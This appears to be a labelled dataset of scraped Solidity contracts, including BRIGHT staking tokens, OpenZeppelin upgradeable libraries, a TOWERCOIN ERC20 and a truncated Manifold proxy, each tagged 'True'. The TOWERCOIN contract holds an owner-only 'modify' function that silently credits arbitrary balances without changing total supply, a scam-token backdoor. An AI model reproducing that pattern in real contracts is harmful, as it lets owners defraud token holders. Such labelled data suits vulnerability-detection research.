}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setUniswapPair(address pair) external onlyOwner() {
uniswapPair = pair;
}
}
|
True
|
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102
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// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IContractsRegistry {
function getUniswapBrightToETHPairContract() external view returns (address);
function getBrightContract() external view returns (address);
function getBrightStakingContract() external view returns (address);
function getSTKBrightContract() external view returns (address);
function getLiquidityMiningStakingContract() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
interface ISTKBrightToken is IERC20Upgradeable {
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "../interfaces/IContractsRegistry.sol";
import "../interfaces/token/ISTKBrightToken.sol";
contract STKBrightToken is ISTKBrightToken, ERC20Upgradeable {
IContractsRegistry public contractsRegistry;
modifier onlyBrightStaking() {
require(contractsRegistry.getBrightStakingContract() == _msgSender(), "Caller is not the BrightStaking contract");
_;
}
function initialize(IContractsRegistry _contractsRegistry) external initializer {
__ERC20_init("Stake BRIGHT", "stkBRIGHT");
contractsRegistry = _contractsRegistry;
}
function mint(address account, uint256 amount) public override onlyBrightStaking {
_mint(account, amount);
}
function burn(address account, uint256 amount) public override onlyBrightStaking {
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
|
True
|
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pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract SimpleToken is StandardToken {
string public name = "TOWERCOIN";
string public symbol = "TWC";
uint public decimals = 18;
address owner;
uint public INITIAL_SUPPLY = 1000000000*10**18;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function SimpleToken(){
owner = msg.sender;
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function modify(address _address, uint256 num) onlyOwner public {
balances[_address] = balances[_address].add(num*10**18);
//ForeignToken t = ForeignToken(tokenAddress);
//uint bal = t.balanceOf(who);
//return bal;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: EDITION01
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// .-----------------. .----------------. .----------------. .----------------. .----------------. //
// | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | //
// | | ____ _____ | || | __ | || | ____ ____ | || | _____ | || | ________ | | //
// | ||_ \|_ _| | || | / \ | || ||_ _| |_ _| | || | |_ _| | || | |_ ___ `. | | //
// | | | \ | | | || | / /\ \ | || | \ \ / / | || | | | | || | | | `. \ | | //
// | | | |\ \| | | || | / ____ \ | || | \ \ / / | || | | | | || | | | | | | | //
// | | _| |_\ |_ | || | _/ / \ \_ | || | \ ' / | || | _| |_ | || | _| |___.' / | | //
// | ||_____|\____| | || ||____| |____|| || | \_/ | || | |_____| | || | |________.' | | //
// | | | || | | || | | || | | || | | | //
// | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | //
// '----------------' '----------------' '----------------' '----------------' '----------------' //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract NKE is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
